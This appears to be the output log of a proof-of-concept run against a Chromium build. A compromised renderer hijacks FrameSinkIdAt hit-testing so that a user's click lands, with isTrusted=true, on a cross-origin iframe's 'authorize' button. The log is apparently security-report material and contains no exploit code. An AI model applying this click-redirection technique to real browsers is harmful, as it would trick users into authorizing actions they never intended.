Launching: /chromium/chromium/src/out/asan/chrome --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --ignore-gpu-blocklist --user-data-dir=/tmp/chrome-poc-profile --remote-debugging-pipe --enable-logging=stderr --site-per-process --host-resolver-rules=MAP *.test 127.0.0.1 about:blank
serving on 127.0.0.1:8080

http 127.0.0.1 "GET /attacker.html HTTP/1.1" 200 -
http 127.0.0.1 "GET /victim.html HTTP/1.1" 200 -
[2731:2731:0525/154147.765800:INFO:CONSOLE:24] "[POC-VICTIM] loaded; origin=http://b.test:8080 innerSize=100x100", source: http://b.test:8080/victim.html (24)
SERVER-LOG [POC-VICTIM] loaded; origin=http://b.test:8080 innerSize=100x100
http 127.0.0.1 "POST /log HTTP/1.1" 204 -
http 127.0.0.1 code 404, message File not found

=== Injecting user click at (70,70) — inside the iframe's 100x100 clip region, but NOT on the victim's button ===
[2830:2830:0525/154152.660609:ERROR:third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:901] [POC-ATTACKER-RENDERER] Hijacking FrameSinkIdAt: browser asked for point 70,70; returning child FrameSinkId=FrameSinkId(7, 10) with attacker-chosen local_point=15,15
[2731:2731:0525/154152.661135:ERROR:components/input/render_widget_targeter.cc:408] [POC-BROWSER] FoundFrameSinkId: queried_view=0x6e763dfc0088 browser_asked_at=70,70 renderer_returned_frame_sink=FrameSinkId(7, 10) renderer_returned_local_point=15,15 resolved_view=0x6e363e125c88 final_view=0x6e363e125c88 final_location=15,15 (descendant check PASSED)
[2830:2830:0525/154152.664353:ERROR:third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:901] [POC-ATTACKER-RENDERER] Hijacking FrameSinkIdAt: browser asked for point 70,70; returning child FrameSinkId=FrameSinkId(7, 10) with attacker-chosen local_point=15,15
[2731:2731:0525/154152.664555:ERROR:components/input/render_widget_targeter.cc:408] [POC-BROWSER] FoundFrameSinkId: queried_view=0x6e763dfc0088 browser_asked_at=70,70 renderer_returned_frame_sink=FrameSinkId(7, 10) renderer_returned_local_point=15,15 resolved_view=0x6e363e125c88 final_view=0x6e363e125c88 final_location=15,15 (descendant check PASSED)
[2731:2731:0525/154152.668982:INFO:CONSOLE:24] "[POC-VICTIM] mousedown at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true", source: http://b.test:8080/victim.html (24)
[2830:2830:0525/154152.670476:ERROR:third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:901] [POC-ATTACKER-RENDERER] Hijacking FrameSinkIdAt: browser asked for point 70,70; returning child FrameSinkId=FrameSinkId(7, 10) with attacker-chosen local_point=15,15
[2731:2731:0525/154152.670684:ERROR:components/input/render_widget_targeter.cc:408] [POC-BROWSER] FoundFrameSinkId: queried_view=0x6e763dfc0088 browser_asked_at=70,70 renderer_returned_frame_sink=FrameSinkId(7, 10) renderer_returned_local_point=15,15 resolved_view=0x6e363e125c88 final_view=0x6e363e125c88 final_location=15,15 (descendant check PASSED)
SERVER-LOG [POC-VICTIM] mousedown at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true
http 127.0.0.1 "POST /log HTTP/1.1" 204 -
[2731:2731:0525/154152.672602:INFO:CONSOLE:24] "[POC-VICTIM] mouseup at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true", source: http://b.test:8080/victim.html (24)
[2731:2731:0525/154152.673677:INFO:CONSOLE:24] "[POC-VICTIM] click at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true", source: http://b.test:8080/victim.html (24)
[2731:2731:0525/154152.674552:INFO:CONSOLE:24] "[POC-VICTIM] *** Authorize button CLICKED *** at (15,15) isTrusted=true -- user actually clicked at (70,70) but compromised embedder rewrote the coords", source: http://b.test:8080/victim.html (24)
SERVER-LOG [POC-VICTIM] mouseup at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true
http 127.0.0.1 "POST /log HTTP/1.1" 204 -
SERVER-LOG [POC-VICTIM] click at clientX=15 clientY=15 target=<BUTTON id=authorize> isTrusted=true
http 127.0.0.1 "POST /log HTTP/1.1" 204 -
SERVER-LOG [POC-VICTIM] *** Authorize button CLICKED *** at (15,15) isTrusted=true -- user actually clicked at (70,70) but compromised embedder rewrote the coords
http 127.0.0.1 "POST /log HTTP/1.1" 204 -
=== Done ===
[2731:2791:0525/154155.674680:ERROR:content/browser/devtools/devtools_pipe_handler.cc:188] Connection terminated while reading from pipe